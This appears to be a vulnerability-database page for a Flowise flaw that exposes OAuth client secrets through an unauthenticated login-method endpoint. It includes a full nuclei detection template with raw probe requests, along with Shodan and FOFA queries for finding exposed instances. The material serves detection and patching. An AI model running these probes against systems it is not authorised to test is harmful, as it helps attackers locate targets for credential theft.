Browse / CVEs / CVE-2026-56270
CVE-2026-56270· flowiseai / flowise· CWE-306
Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure
highseverity
7.5CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it
Flowise before 3.1.0 contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint, allowing unauthenticated remote attackers to retrieve an organization's complete SSO configuration including OAuth client secrets by providing an organizationId parameter.
Impact
Remote attackers can harvest sensitive OAuth client secrets, leading to potential unauthorized access to integrated services.
Fix
Upgrade to version 3.1.0 or later.
How to confirm it
Send: GET /
Positive when: status_code == 200 and contains(tolower(body), "flowise")
Send: GET /api/v1/loginmethod?organizationId=test
Positive when: status_code != 401 and contains_any(body, "Invalid Organization Id", "assertEnterprisePlatform", "\"providers\"", "\"callbacks\"")Run it with nuclei: nuclei -id CVE-2026-56270 -u <target>
The full check
id: CVE-2026-56270
info:
name: Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure
author: 0x_Akoko,pdteam
severity: high
description: |
Flowise before 3.1.0 contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint, allowing unauthenticated remote attackers to retrieve an organization's complete SSO configuration including OAuth client secrets by providing an organizationId parameter.
impact: |
Remote attackers can harvest sensitive OAuth client secrets, leading to potential unauthorized access to integrated services.
remediation: |
Upgrade to version 3.1.0 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx
- https://nvd.nist.gov/vuln/detail/CVE-2026-56270
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-56270
epss-score: 0.02048
epss-percentile: 0.81378
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,unauth,disclosure,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(body), "flowise")'
condition: and
internal: true
- raw:
- |
GET /api/v1/loginmethod?organizationId=test HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code != 401'
- 'contains_any(body, "Invalid Organization Id", "assertEnterprisePlatform", "\"providers\"", "\"callbacks\"")'
condition: andReferences
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx
- https://nvd.nist.gov/vuln/detail/CVE-2026-56270
Use this check only on systems you are authorised to test. Where the data comes from